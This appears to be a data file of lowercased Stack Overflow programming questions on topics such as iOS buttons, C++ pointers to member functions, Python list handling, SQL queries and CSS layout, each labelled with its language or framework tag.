creating multiple uibuttons but only the last visible  i am creating multiple uibuttons inside a uiview. there are two nested loop  in order to create different groups of buttons  having different shape. the problem is that  only the last uibutton created is visible (and movable with the pangesturerecognizer)  even if the buttons should be inserted in different positions.   <pre><code>- (void)viewdidload {     [super viewdidload]; // do any additional setup after loading the view.      int i  j;     nsmutablestring *backgoundimagename = [[nsmutablestring alloc] init];     nsmutablestring *bartitle = [[nsmutablestring alloc] init];     sticks = [[nsmutablearray alloc] init];      [mainview setbackgroundcolor:[uicolor blackcolor]];     self.view = mainview;     [mainview setneedsdisplay];      //create the bars     uibutton *barra = [uibutton buttonwithtype:uibuttontyperoundedrect];     uipangesturerecognizer *pangesturerecognizer = [[uipangesturerecognizer alloc] initwithtarget:self action:@selector(handlepan:)];     [barra addtarget:self action:@selector(changebuttontitle:) forcontrolevents:uicontroleventtouchupinside];     [barra addgesturerecognizer:pangesturerecognizer];     for (j = 1; j &lt;= 10; j++) {         backgoundimagename = [nsmutablestring stringwithformat:@ regolo%d%@  j @ .png ];         for (i = 1; i &lt;= 3; i++) {             barra.frame = cgrectmake((square_size * j)  (square_size * 2)  square_size  (square_size * j));             [barra setbackgroundimage:[uiimage imagenamed:backgoundimagename] forstate:uicontrolstatenormal];             [barra settag:j];              bartitle = [nsmutablestring stringwithformat:@ %d  j];             [barra settitle:bartitle forstate:uicontrolstatenormal];             [barra settitlecolor:[uicolor whitecolor] forstate:uicontrolstatenormal];             [sticks addobject:barra];             [self.mainview addsubview:(uibutton *)sticks.lastobject];         }     } } </code></pre>,ios
how do i automatically pull in references in visual studio c# like in eclipse (java)  is there a way to configure visual studio so that the intellisence will automatically inset  using  statements (reference to class library) just like in eclipse (java)     this feature is really useful since visual studio only informs you a reference is missing but no suggestions are shown     am new to visual studio. help will be highly appreciated.,c#
what is the alternative to rel= first    since html 5  the <code>rel=  </code> attribute (for  link types ) no-longer accepts  first  and  last  as valid values. these keywords are meant to represent the first and last pages in a page sequence  however only  prev  and  next  are supported:    <a href= https://developer.mozilla.org/en-us/docs/web/html/link_types  rel= nofollow noreferrer >https://developer.mozilla.org/en-us/docs/web/html/link_types</a>   <blockquote>   <ul>   <li><code>first</code> - indicates that the hyperlink leads to the first resource of the sequence the current page is in. <b>this is an obsolete api and is no longer guaranteed to work.</b>   </li>   <li><code>last</code> - indicates that the hyperlink leads to the last resource of the sequence the current page is in. <b>this is an obsolete api and is no longer guaranteed to work.</b>  </li>   <li><code>next</code> - indicates that the hyperlink leads to the next resource of the sequence the current page is in.</li>   <li><code>prev</code> - indicates that the hyperlink leads to the preceding resource of the sequence the current page is in.</li>   </ul> </blockquote>   curiously  the html 4.01 specification (december 1999) does list  start  as a valid value - this value does not appear in the html5 specification nor mozilla s mdn page: <a href= https://www.w3.org/tr/html401/types.html#type-links  rel= nofollow noreferrer >https://www.w3.org/tr/html401/types.html#type-links</a>   <blockquote>    <code>start</code> - refers to the first document in a collection of documents. this link type tells search engines which document is considered by the author to be the starting point of the collection.  </blockquote>   going back further in time  the html 3.2 specification (january 1997) does not suggest any  first  or  last  equivalents  only <code>next</code> and <code>previous</code> ( <a href= https://www.w3.org/tr/rec-html32#anchor  rel= nofollow noreferrer >https://www.w3.org/tr/rec-html32#anchor</a> ).    does anybody know of a valid alternative for <code>rel</code> values <code>first</code>/<code>last</code>  or should i just carry on using them just in case google or other search engines still care to understand them,html
most popular element (cpp)  hey guys i m trying to figure a way to get the most used element in a vector but for some reason it doesn t seem to be working and returning 1  any help would be appreciated.    from what i can see i think my thinking was correct but i guess not  thanks!   <pre><code>    std::sort(track5guess.begin()  track5guess.end());       temp1 = track5guess.at(0);       for (i = 1; i &lt; track5guess.size() - 1; i++)     {         if (track == false)         {             if (track5guess.at(i) == temp1)             {                 counter1++;             }             else             {                 temp2 = track5guess.at(i);                 track = true;                 i++;             }             if (track == true)             {                 if (track5guess.at(i) == temp2)                 {                     counter2++;                 }                 else                 {                     if (counter2 &gt;= counter1)                     {                         temp1 = temp2;                         track = false;                         counter1 = counter2;                         counter2 = 0;                         temp2 = 0;                     }                      if (counter1 &gt; counter2)                     {                         track = false;                         counter2 = 0;                         temp2 = 0;                     }                  }             }           }     }     if (i == track5guess.size() - 1)     {         num2guess5 = temp1;         temp1 = 0;         counter1 = 0;     } </code></pre>,c++
jaws does not announce aria-describedby on select box in ie  i am trying to use aria-describedby on select box  but jaws does not announce the text associated using the aria-describedby attribute in ie. i have even added tabindex= -1  to the span tag which is being referenced.below is the sample code i am using. can somebody please provide me any information on this topic.   <pre><code>&lt;form action= #  method= post &gt;   &lt;div&gt;     &lt;label for= state &gt;state&lt;/label&gt;      &lt;select  id= state  name= state  aria-describedby= spanid &gt;       &lt;option value= acct &gt;choose&lt;/option&gt;       &lt;option value= act &gt;act&lt;/option&gt;       &lt;option value= nsw &gt;nsw&lt;/option&gt;       &lt;option value= nt &gt;nt&lt;/option&gt;       &lt;option value= qld &gt;qld&lt;/option&gt;       &lt;option value= sa &gt;sa&lt;/option&gt;       &lt;option value= tas &gt;tas&lt;/option&gt;       &lt;option value= vic &gt;vic&lt;/option&gt;       &lt;option value= wa &gt;wa&lt;/option&gt;       &lt;/select&gt;       &lt;span id= spanid  tabindex= -1 &gt;this is the text&lt;/span&gt;   &lt;/div&gt;  &lt;/form&gt; </code></pre>,html
best way to approach learning .net  i m new to .net and am starting to find my way around.  i have some experience in c  vb  and asp.  my question is  basically  what area(s) of the framework would be good to concentrate on learning first   or is it better to find a problem to solve and work out how to get it done in .net   i m interested in desktop and web apps.  i want to end up with a good foothold in wpf  wcf  mvc  and silverlight.  is this too ambitious     thanks     andrew,.net
gridview create fields dynamically  i would like somebody to help me to solve the following issue.    i have a gridview  where the fields are created dynamically from codebehind.    i would like to create with the same way(dynamically) a templatefield which  if it is possible  to hold in it two button controls  having also and commandname.    to be more clear:    headers-->>  first name  lastname  print(daily/invoices)    results  -->> foofname  foolname  <strong>daily | invoice</strong>    the bold one text is what i am looking for.    i am posting also the methods and the way i use them to create the fields.   <pre><code>createboundfield(billingsummarygv   book_date    date    {0:dd/mm/yyyy} );  createbuttonfield(billingsummarygv   print    print(daily)   buttontype.link   );  billingsummarygv.datasource = billingsummaries; billingsummarygv.databind();    protected void createboundfield(gridview gv  string datafield  string headertext  string arrformatingstring) {             var bf = new boundfield {                 datafield = datafield                  dataformatstring = arrformatingstring                  headertext = headertext             };             gv.columns.add(bf);         }  private void createbuttonfield(gridview gv  string text  string headertext  buttontype buttontype  string commandname) {             var bfprint = new buttonfield() {                 buttontype = buttontype                  text = text                  headertext = headertext                  visible = true                  commandname = commandname             };             gv.columns.add(bfprint);         } </code></pre>   i would appreciate any reply    thanks,asp.net
managed modules and platform independence  the .net model is something like this : c# code -> c# compiler -> managed module (win pe) -> clr ->  hello  world  the code is compiled to a managed module which invokes clr which in turn does the necessary work to run the code (assuming it s an exe).     my initial understanding was that .net is the microsoft equivalent of java framework with clr the ms equivalent of jvm. but the interesting hitch here is that the managed module is a win pe which means that any os that wants to use .net must accept and use the win pe format too. my questions are:   <ol> <li>is the theory so far correct </li> <li>what are the chances of linux/unix/solaris/osx etc. supporting/implementing the win pe format </li> <li>are there any alternatives that are currently being worked on to make the interoperability happen </li> <li>what route does java take to make it executable on different platforms </li> </ol>,.net
prototyped function warning when constructing an object with a cast argument  ok  so i m aware of the typical reason people get the <code>prototyped function not called</code> error. this is not <a href= https://stackoverflow.com/questions/20264530/c-warning-c4930-prototyped-function-not-called-was-a-variable-definition-i >that case</a>    consider the following class:    <pre><code>class ff { public:    ff(float f):_f(f){}    float _f;     void dosomething(float f) { _f = f; } }; </code></pre>   i attempt to construct an ff object using the following code which casts an int to a float. note: i am working with legacy code here which uses this casting style - i know it is not the modern way.   <pre><code>int x = 0; ff ftest(float(x)); </code></pre>   vs2013 gives the warning :<code> ff ftest(float) : prototyped function not called (was a variable definition intended )</code>    why does vs think this is a function prototype  ff only contains 1 constructor.     interestingly  the same code format gives no warnings when used for calling functions on the object:   <pre><code>int x = 0; ff ftest(0.f); ftest.dosomething(float(x)); </code></pre>,c++
how to create a table with values given by user (with scanf)   i have this hw in c that i need to do  and i m asked to replicate a table  which will be created with values given by the user:    it s supposed to look like this:   <pre><code>----------------------------------------------------- name             prenume      grupe    data nasterii ----------------------------------------------------- marinescu        alexandru     1234       10.10.2000 georgescu        eduard        4321       11.11.1990 constantinescu   ion-catalin   4424        5.11.1995 </code></pre>   i started with this  but since our proff didn t really guide us towards a way to create a table  i do not really know how to continue. it will be much appreciated if you could help  as i would enlighten some of my classmates  as well. (also  searching the web for a solution proved to be useless)    i started with this:   <pre><code>#include &lt;stdio.h&gt;  using namespace std;  int main()     {     char nume[20]  prenume[20]  data[20];     int grupa;      printf( introdu datele studentului nr 1: );      printf( \nnume: );     scanf( %s   &amp;nume);      printf( \nprenume: );     scanf( %s   &amp;prenume);      printf( \ngrupa: );     scanf( %d   &amp;grupa);      printf( \ndata nasterii: );     scanf( %s   &amp;data);      printf( \nintrodu datele studentului nr 2: );      printf( \nnume: );     scanf( %s   &amp;nume);      printf( \nprenume: );     scanf( %s   &amp;prenume);      printf( \ngrupa: );     scanf( %d   &amp;grupa);      printf( \ndata nasterii: );     scanf( %s   &amp;data);      printf( \nintrodu datele studentului nr 3: );      printf( \nnume: );     scanf( %s   &amp;nume);      printf( \nprenume: );     scanf( %s   &amp;prenume);      printf( \ngrupa: );     scanf( %d   &amp;grupa);      printf( \ndata nasterii: );     scanf( %s   &amp;data);  } </code></pre>,c++
how do i sort the contents of every file using ls   currently i m piping ls (within the first child) to sort (within the second child)  but sort is reading the output of ls as one line instead of different file names    in my code  i have for the first child:   <pre><code>if(childpid == 0){     close(fd[0]);     dup2(fd[1]  1);     execlp( ls    ls   (char *)0); } </code></pre>   now for the second child  it should be reading the output of the first child:   <pre><code>if(childpid2 == 0){     close(fd[1]);     dup2(fd[0]  0);     read(fd[0]  string  sizeof(string));     close(fd[0]);     execlp( sort    sort   string  null); }    </code></pre>   my current output is:   <pre><code>sort: open failed: activity text.txt text2.txt exercise.c : file name too long </code></pre>   is there a way that i can have each file read separately so that sort can look at the contents within each file to sort them,c
map of pointer to member functions : cannot convert void (*) to void (object::*)  i ve got an error while trying to add a function to a pointer to member function map.   <pre><code>#include &lt;map&gt; #include &lt;utility&gt;  class server { protected:     typedef void (*scriptfunction)(std::pair&lt;std::string  std::string&gt;);     std::map&lt;std::string  scriptfunction&gt; internalscriptmap;     void checkuserlogin(std::pair&lt;std::string  std::string&gt; packet) {}     void handleusercommand(std::pair&lt;std::string  std::string&gt; packet) {}  public:     void setupserverinternalcommands() {         internalscriptmap[ login ] = &amp;server::checkuserlogin;         internalscriptmap[ clientcmd ] = &amp;server::handleusercommand;     } }; </code></pre>   codepad says (<a href= http://codepad.org/jzhejspz  rel= nofollow >http://codepad.org/jzhejspz</a>) :    <pre><code>t.cpp: in member function  void server::setupserverinternalcommands() : line 13: error: cannot convert  void (server::*)(std::pair&lt;std::basic_string&lt;char  std::char_traits&lt;char&gt;  std::allocator&lt;char&gt; &gt;  std::basic_string&lt;char  std::char_traits&lt;char&gt;  std::allocator&lt;char&gt; &gt; &gt;)  to  void (*)(std::pair&lt;std::basic_string&lt;char  std::char_traits&lt;char&gt;  std::allocator&lt;char&gt; &gt;  std::basic_string&lt;char  std::char_traits&lt;char&gt;  std::allocator&lt;char&gt; &gt; &gt;)  in assignment compilation terminated due to -wfatal-errors. </code></pre>   i don t understand why my code doesn t want to compile  why does the compiler cannot convert  void (*)  to  void (server::*) .    thank you for your help !,c++
how to eliminate duplicate code   i have the following codes and i would like to write it in a way that i have minimum duplication of codes.   <pre><code>if (categories != null) {     bool flag=false;     foreach (dynamic usablecat in category.loadforproject(project.id))     {         foreach (dynamic catrow in categories)         {             if (usablecat.id == catrow.id)                 flag = true;                                     }         if (!flag)         {             int id = usablecat.id;             category resolution = category.load(id);             resolution.delete(services.userservices.user);         }     } } if (priorities != null) {     bool flag = false;     foreach (dynamic usablecat in priority.loadforproject(project.id))     {         foreach (dynamic catrow in priorities)         {             if (usablecat.id == catrow.id)                 flag = true;         }         if (!flag)         {             int id = usablecat.id;             priority resolution = priority.load(id);             resolution.delete(services.userservices.user);         }     } } </code></pre>   please note that category and priority do not have a common base type or interface that includes id.,c#
finding common elements in a few lists out of all lists in python  suppose i have the following lists in my code:   <pre><code>l1 = [1 2 3 4 5] l2 = [2 3 5 7 9] l3 = [4 9 11 12 13] l4 = [1 2 5 7 8] l5 = [1 3 4 5 9] </code></pre>   and i want the output such that it includes elements common in 3 out of the given 5 lists  in this case:   <pre><code>op = [1 2 3 4 5 9] </code></pre>   can i get any help with this  thanks.,python
android file not found exception  i am writing an android app and i am having a very frustrating issue.  i have some data stored in an xml file called <strong> ouritems.xml </strong> in a  data  folder.  i have this code that is supposed to read from this file.    <pre><code> try {             file fxmlfile = new file( data/ouritems.xml );             documentbuilderfactory dbfactory = documentbuilderfactory                 .newinstance();             documentbuilder dbuilder = dbfactory.newdocumentbuilder();             document doc = dbuilder.parse(fxmlfile);             doc.getdocumentelement().normalize();             nlist = doc.getelementsbytagname( item );         }         catch(exception e){             e.printstacktrace();         } </code></pre>   i have tried running this code in a plain java app  and it works perfectly.  however  when i try to run the android app i get a <code> file not found exception </code>. the file is stored in the app folder. and i cannot understand why it cannot be found.  is this some sort of android permission problem,android
only use templated overload when other overloads fail  is there a way to ensure the template overload isn t selected unless all other overloads fail  without resorting to enable_if     int should be handled by the long overload  but it s being handled by the template overload  which the compiler doesn t like.   <pre><code>class setproxy { public:   void operator=(const templatestring&amp; value) {     dict_.setvalue(variable_  value);   }    template&lt;class t&gt;   void operator=(const t&amp; value) {     dict_.setvalue(variable_  templatestring(value.data()  value.size()));   }    void operator=(long value) {     dict_.setintvalue(variable_  value);   } } </code></pre>,c++
how can i make a grid-like data structure in python   what i need to make is   <pre><code>          col 0   col 1   col 2  row 0       1       0       1  row 1       1       1       1  row 2       1       1       1 </code></pre>   the numbers are totally random but i m totally stuck on how to make the board. the problem is i need to be able to add the numbers up in columns and rows afterwards. do i have to make it into a list first and them space them out or keep it how it is and space it out with \t.    all i have is a random number generator. i m not sure what to do next.   <pre><code>def generate_random_number(size):   number =      for i in range(size):     digits = random.randint(0  1)     numbers = number + str(digits)   return numbers </code></pre>,python
how to set up the condition in markup   i have asp.net page that conatins repeater control with another repeater control inside it:   <pre><code>&lt;asp:repeater id= grouplist  runat= server &gt;     &lt;itemtemplate&gt;         &lt;div class= groupsepatator &gt;         &lt;/div&gt;         &lt;asp:repeater id= actionlist  runat= server &gt;             &lt;itemtemplate&gt;                 &lt;div class= actiondata &gt;                     &lt;asp:placeholder runat= server  visible= &lt;%# eval( actiondate ).tostring() ==  01.01.1980 0:00:00  %&gt; &gt;                         &lt;time class= actiondate  datetime= &lt;%# formatter.formatdate(eval( actiondate ).tostring()  11) %&gt; &gt;                             &lt;%# formatter.formatdate(eval( actiondate ).tostring()  8) + eval( strenddate ) %&gt;                         &lt;/time&gt;                     &lt;/asp:placeholder&gt;                     &lt;asp:placeholder runat= server  visible= &lt;%# eval( actiondate ).tostring() !=  01.01.1980 0:00:00  %&gt; &gt;                         &lt;time class= actiondate  itemprop= startdate  datetime= &lt;%# formatter.formatdate(eval( actiondate ).tostring()  11) %&gt; &gt;                             &lt;%# formatter.formatdate(eval( actiondate ).tostring()  8) + eval( strenddate ) %&gt;                         &lt;/time&gt;                     &lt;/asp:placeholder&gt;                 &lt;/div&gt;             &lt;/itemtemplate&gt;         &lt;/asp:repeater&gt;     &lt;/itemtemplate&gt; &lt;/asp:repeater&gt; </code></pre>   as you can see  there are 2 place holders that form one logical block. i need to add new logical block with 2 similar place holders below the first one inside inner repeater. there should be the condition that depends on query string parameter - actiontoptypeid. if actiontoptypeid exists the first block with 2 place holders should be read (visible)  and if actiontoptypeid doesn t exist  the second block with 2 place holders should be read (visible).    there is a condition in code behind as well:   <pre><code>if (actiontoptypeid == -1) {     items = method1(); } else {     items = method2(); } </code></pre>   how can i set up the condition in markup     updated code:   <pre><code>&lt;div class= actiondata  visible= &lt;%# !string.isnullorempty(request.querystring[ actiontoptypeid ]) %&gt; &gt;     &lt;asp:placeholder runat= server  visible= &lt;%# eval( actiondate ).tostring() ==  01.01.1980 0:00:00  %&gt; &gt;         &lt;time class= actiondate  datetime= &lt;%# formatter.formatdate(eval( actiondate ).tostring()  11) %&gt; &gt;             &lt;%# formatter.formatdate(eval( actiondate ).tostring()  8) + eval( strenddate ) %&gt;         &lt;/time&gt;     &lt;/asp:placeholder&gt;     &lt;asp:placeholder runat= server  visible= &lt;%# eval( actiondate ).tostring() !=  01.01.1980 0:00:00  %&gt; &gt;         &lt;time class= actiondate  itemprop= startdate  datetime= &lt;%# formatter.formatdate(eval( actiondate ).tostring()  11) %&gt; &gt;             &lt;%# formatter.formatdate(eval( actiondate ).tostring()  8) + eval( strenddate ) %&gt;         &lt;/time&gt;     &lt;/asp:placeholder&gt;     &lt;a class= actiontitle  href= details.aspx actionid=&lt;%# eval( actionid ) %&gt;  itemprop= url &gt;&lt;div itemprop= name &gt;&lt;%# eval( nameforh1 ) %&gt;&lt;/div&gt;&lt;/a&gt;     &lt;a class= actionextradata  href= actions.aspx actiontypeid=&lt;%# eval( actiontypeid ) %&gt; &gt;&lt;%# eval( actiontype ) %&gt;&lt;/a&gt;     &lt;a class= actionextradata  href= actions.aspx actionplaceid=&lt;%# eval( actionplaceid ) %&gt;  title= &lt;%# eval( coordinates ) %&gt;  itemprop= url &gt;         &lt;span itemprop= location &gt;&lt;%# eval( placename ) %&gt;&lt;/span&gt;     &lt;/a&gt;     &lt;a class= linkbuyticket  href= order.aspx actionid=&lt;%# eval( actionid ) %&gt;&amp;actiondate=&lt;%# httputility.urlencode(formatter.formatdate(eval( actiondate ).tostring()  6)) %&gt; &gt;         &lt;div class= buttoncommonsmall &gt;заказать билеты&lt;/div&gt;     &lt;/a&gt; &lt;/div&gt; &lt;div class= actiondata  visible= &lt;%# string.isnullorempty(request.querystring[ actiontoptypeid ]) %&gt; &gt;     hello &lt;/div&gt; </code></pre>,asp.net
learn python the hard way- exercise 13  need more than 1 value to unpack   this is my first question and i m very new at programming  please be patient. :) thanks for your help!    (ps  i reposted to fix the formatting)    i ve looked through several related questions but still don t get it. basically i need to know: why am i getting the error  need more than 1 value to unpack       another thread directed me to check my path environment variable  which i think is ok.     here it is:   <pre><code>ps c:\users\monic&gt; python python 2.7.13 (v2.7.13:a06454b1afa1  dec 17 2016  20:42:59) [msc v.1500 32 bit (intel)] on win32 type  help    copyright    credits  or  license  for more information. &gt;&gt;&gt; from sys import argv &gt;&gt;&gt; script  first  second  third = argv traceback (most recent call last):   file  &lt;stdin&gt;   line 1  in &lt;module&gt; valueerror: need more than 1 value to unpack </code></pre>,python
best practice : handling exception in a class  i am interested to know what is the best practice to handle exception in a class.    as far as i read  it is not a good practice to use  print  statement in a class. so programmers return the value and print it outside the class in the main routine. if this is the case how do i validate the exception that is happening in the class      one was is to use a code some thing like this    <pre><code>class temp():     try:         import os         return 1     except:         return 0 </code></pre>   this is just an example.     my requirement is something like this  i want to evaluate a statement and i want to catch the exception. think of this method as a private method  which will be called internally.     e.g. let me try with a example.   <pre><code>class test():     def __init__(self):         pass      def read(self):         try:             f = open( file.txt )             fr = f.readlines()             return fr         except exception as e:             # not sure should i return e or should i return 0              # to say that this function failed.      def write(self):         self.handle = self.read()         if self.handle:             # do something         else:             # return the exception  if __name__ ==  __main__ :     test_object = test()     print test_object.write() </code></pre>   guess i made myself clear on this.     thanks  bala.,python
writing from one file to another  i ve been stuck on this python homework problem for awhile now:  write a complete python program that reads 20 real numbers from a file inner.txt and outputs them in sorted order to a file outter.txt.     alright  so what i do is:   <pre><code>f=open( inner.txt   r ) n=f.readlines() n.replace( \n     ) n.sort() x=open( outter.txt   w ) x.write(print(n)) </code></pre>   so my thought process is: open the text file  n is the list of read lines in it  i replace all the newline prompts in it so it can be properly sorted  then i open the text file i want to write to and print the list to it. first problem is it won t let me replace the new line functions  and the second problem is i can t write a list to a file.,python
hover over <span> and have a <div> display   here is what i am currently doing.    php echo s out the recent post in the database for a username with:   <pre><code>echo  &lt;div id= userblock &gt;test&lt;/div&gt; ; echo  &lt;span class= userpost &gt;  . $str .   - posted by &lt;b&gt;  . $username .  &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt; ; </code></pre>   i then want to have it so when the test is hovered over you see the users profile/stats/information appear directly to the left of the post.    here is what i have for css so far and i am in no way shape or form good at styling. so i would love your input.   <pre><code>div#userblock { display:none; }  span.userpost:hover  div#userblock {     background-color:#efefef;     height:150px;     width:150px; } </code></pre>,css
which of these two queries is more efficient or run best   query 1   <pre><code>select m.name  p.name  p.price     from manufacturers m inner join products p         on m.code = p.manufacturer where p.price in (select max(pp.price) from products pp group by pp.manufacturer); </code></pre>   query 2   <pre><code>  select m.name as manufname  p.name as productname  p.price as productprice     from manufacturers m inner join products p       on m.code = p.manufacturer         where p.price =   (select max(sub_p.price)                                   from products sub_p                                     where m.code = sub_p.manufacturer); </code></pre>   which one should take less time,sql
app won t install but runs fine in emulator  how can i diagnose apk install issues  i have an app that compiles and runs in the emulator without any issues. but as soon as i export and try to load on my phone  it fails to install with no error to point me in the right direction.,android
how to use if else conditon on button press based on image of button   i am trying to use some logics on the base of button click.i use button as checkmark and when i click on this check mark the image of button changed into checked.png or unchecked.png.on that basis i use this code...   <pre><code>if([uiimage imagenamed:@ checkbox_ticked.png ])     {         isactivestr=[arraypickerdata objectatindex:17];         nslog(@  is active value is %@   isactivestr);         isactivestr=nil;      }     else      {         nslog(@ no vlaue send );         isactivestr=[[nsmutablestring alloc]initwithstring:@ 1 ];         nslog(@  is active value %@  isactivestr);     } </code></pre>   now i dont know how to use the else condtion...i run this code but it always run only if codition.it never goes in else conditon.i want that i codtion is true it goes in if part and when condition is false it goes in else part.and how i use image property of button to check the condition.,iphone
(c++) calculation of intercepting an object that is orbiting around a center point  i have been working on a simulation of a projectile launcher that fire a projectile to a target that is orbiting around center point. i do appreciate if someone would help explaining what is wrong with my calculation. (user input radii from center to the object  angle of center and the object  speed of the target  speed of the projectile)    this is part of my calculation function.   <pre><code>void::targetmove() {double theta = 360; theta = theta - angle; posx = (radius*cos(theta)); posy = (radius*sin(theta)); angle = angle*timestep; return;} </code></pre>   this is part of my main.cpp   <pre><code>target tar; projectile pro; double spd  spd2  timestep = 0  radius  ang; launcher lau; bool miss = true; do { pro.distancecal(); timestep++; tar.settimestep(timestep); cout&lt;&lt; \n*time step  &lt;&lt;timestep&lt;&lt; * &lt;&lt;endl&lt;&lt; ------------ &lt;&lt;endl; tar.display(); if (abs((spd2*timestep)/2 - pro.distancecal()) &lt;= 1) {cout&lt;&lt; \nthe projectile hits the target. &lt;&lt;endl&lt;&lt;endl; miss = false;} else { miss = true;} while (miss); </code></pre>   this is my distance calculation function   <pre><code>double projectile::distancecal() { distance = sqrt(pow(tar.getposx()-tar.getcenterx() 2)+pow(tar.getposy()-tar.getcentery() 2)); return distance;} </code></pre>   my problem is that it looks like the of the orbiting target is not moving in circular motion. i kept getting weird numbers as my output for the new position of the target.     thank you in advance for your kindness.    these are all functions that do all the calculation. the rest are just get/set functions.,c++
css: absolutely position div above parent div  i want to position a div absolutely  at top: 0.  the yellow div (#menu) in <a href= http://i112.photobucket.com/albums/n180/srd001/screenshots/g7zfx.png  rel= nofollow >this diagram</a> is the one in question.    i have html:   <pre><code>&lt;html&gt;     &lt;head&gt;         &lt;link rel= stylesheet  type= text/css  href= style.css &gt;     &lt;/head&gt;     &lt;body&gt;         &lt;div id= container_head &gt;             &amp;nbsp;         &lt;/div&gt;         &lt;div id= container_body &gt;             &lt;div id= main &gt;                 &lt;div id= menu &gt;                     &amp;nbsp;                 &lt;/div&gt;                 &lt;div id= content &gt;                     &amp;nbsp;                 &lt;/div&gt;             &lt;/div&gt;             &lt;div class= clear &gt;&lt;/div&gt;         &lt;/div&gt;         &lt;div id= container_foot &gt;             &amp;nbsp;         &lt;/div&gt;     &lt;/body&gt; &lt;/html&gt; </code></pre>   and css:   <pre><code>#container_head {     width: 100%;     background-color: #00f;     z-index: 10; } #container_body {     width: 100%; } #container_foot {     width: 100%;     background-color: #f00; } #main {     width: 960px;     margin: 0 auto;     position: relative; } #menu {     background-color: rgba(255 255 0 0.5);     width: 170px;     padding: 10px;     float: left;     position: absolute;     top: 0;     z-index: 100; } #content {     background-color: #0f0  ;     width: 750px;     padding: 10px;     float: right; } .clear {clear: both;} </code></pre>   however  the yellow div does not appear at y position 0.  <a href= http://jsfiddle.net/srd75/2fygj/  rel= nofollow >here is the fiddle</a>.    <strong><em>update</em></strong>    i appreciate the answers.  i am still in a quandary.  <code>#container_head</code> is not going to be the same height for every user.  it is a responsive slider.  also  i need <code>#menu</code> to be on the left side of a region the same shape as <code>#main</code>  so it slots in next to <code>#content</code>.,css
difference between http and https technique  does it need <code>certificate/license/registration</code> before launching the website using <code>https</code>     i want to use the mentioned code in <code>global.asax</code> file.   <pre><code>protected void application_beginrequest(object sender  eventargs e) {     response.redirect( https://  + request.servervariables[ http_host ]  +   httpcontext.current.request.rawurl); } </code></pre>,asp.net
creating multiple data tables programmatically and structuring classes  i m working on a project where i will end up opening multiple text files.    each of these text files will then be split into tables of data.    my initial thoughts were that i wanted to keep as much code away from the ui as possible and that i should create a class datasetclass with a public method openfile.    the dataset would be created as a global inside this class and then all my other functions for sorting the data or getting information from that particular dataset would be inside that class. however  since making the class  i believe i am unable to actually get at that data now and that instead  i should create a new dataset and then start a class that takes the dataset and modifies it by adding the tables. but i am worried that this would be feature envy     in addition to this  i am struggling with how to add multiple datatables to a dataset.    in my code below i add the datatable to a dataset after i have put all the relevant data into it. however  i end up just adding the exact same datatable into the dataset each time and only ever end up with one table.   <pre><code>for (int data_table = 1; data_table &lt; header_location.count; data_table++) {     datatable dt = new datatable();      saveheaderinfo(dt  header_location[data_table]  split_data_list);     savedatauntilstop(dt  start_location[data_table]  split_data_list);      dataset.tables.add(dt);     //dt.reset(); } </code></pre>   when using the dt.reset line  it simply wipes all the data even after the table has been added to the dataset.    i presume that this is probably because the .add function actually just inserts a pointer to the table into the dataset. so how would i create an entirely new datatable each time     thank you    edit: adding extra code:   <pre><code>private void savedatauntilstop(datatable dt  int start  list&lt;string[]&gt; split_data_list)     {         string[] row = new string[400];         for (int i = start + 1; i &lt; split_data_list.count; i++)         {             if (split_data_list[i][0] !=  stop )             {                 for (int j = 0; j &lt; split_data_list[i].length; j++)                     row[j] = split_data_list[i][j];                 checkcolumncountandadd(dt  row);             }             else                 return;         }     }      private void saveheaderinfo(datatable dt  int location  list&lt;string[]&gt; list)     {         checkcolumncountandadd(dt  list[location + 1]);         checkcolumncountandadd(dt  list[location + 2]);     }      private void checkcolumncountandadd(datatable dt  string[] str_to_add)     {         while (str_to_add.length &gt; dt.columns.count)         {             addcolumn(dt);         }         dt.rows.add(str_to_add);     } </code></pre>,c#
send application to user notifications on rails  i m using the facebooker plugin in rails to let users sign up through facebook connect. the application uses iframe. now when certain things occur how can i send notifications to application users from the application through facebook.,ruby-on-rails
changing a while loop so echo doesn t print more than once  i ve got some code that echo s a line of text inside a while loop. but i don t want it as a loop and can t seem to get it to work without the while(). my code is below - how can i get the echo to only print once    <pre><code>while($row = sqlsrv_fetch_array( $stmt  sqlsrv_fetch_assoc)) {   do($row[ ingarage ] == $comp and $row[ beingserviced ] == $unco and $row[ readyforcollection ] == $unco) {     echo  vehicle is in garage&lt;br /&gt; ; }   do($row[ ingarage ] == $comp and $row[ beingserviced ] == $comp and $row[ readyforcollection ] == $unco) {     echo  vehicle is being serviced&lt;br /&gt; ; }   do($row[ ingarage ] == $comp and $row[ beingserviced ] == $comp and $row[ readyforcollection ] == $comp) {     echo  vehicle is ready for collection&lt;br /&gt; ; } } </code></pre>   update: using if   <pre><code>while($row = sqlsrv_fetch_array( $stmt  sqlsrv_fetch_assoc)) {    }  if($row[ ingarage ] == $comp and $row[ beingserviced ] == $unco and $row[ readyforcollection ] == $unco) {     echo  vehicle is in garage ; }    if($row[ ingarage ] == $comp and $row[ beingserviced ] == $comp and $row[ readyforcollection ] == $unco) {     echo  vehicle is being serviced ; }   if($row[ ingarage ] == $comp and $row[ beingserviced ] == $comp and $row[ readyforcollection ] == $comp) {     echo  vehicle is ready for collection ; } </code></pre>,php
what does  cannot initialize return object of type foo with an rvalue of type bar  mean   i presume that  rvalue  is just shorthand for <em>return value</em>. what does it mean to <em>initialize a return object</em>  this is my main question. the rest is context of my particular situation  but i m really interested in the general answer.    i m looking at someone else s code:   <pre><code>return [p_facebook.facebook handleopenurl:url]; </code></pre>   in theory this is calling:   <pre><code>- (bool)handleopenurl:(nsurl *)url; </code></pre>   i m seeing: <code>cannot initialize return object of type  bool  (aka  signed char ) with an rvalue of type  id </code>. i m guessing that this class might be defined somewhere else and i have a path issue...,objective-c
cleaner way to write this mysql query   this is my current query:   <pre><code>select * from users where blah blah... and users.who =  1   and users.seeking =  2   or users.seeking =  5   or users.seeking =  8   or users.seeking =  9   or users.seeking =  11   or users.seeking =  13   or users.seeking =  14   or users.seeking =  15    and users.account_status =  1 ; </code></pre>   as you can see the seeking field can have multiple values. rather than writing so many or s is there a prettier way to specify all the acceptable values for that field in order to be returned by my select statement,mysql
how to get entire function list of asp.net page   is there a way to get a list of functions hit by an asp.net page   the only way i can think of is to put a breakpoint in the page_load and hit f11 over and over.  i am debugging a slow page_load this is why i ask.,asp.net
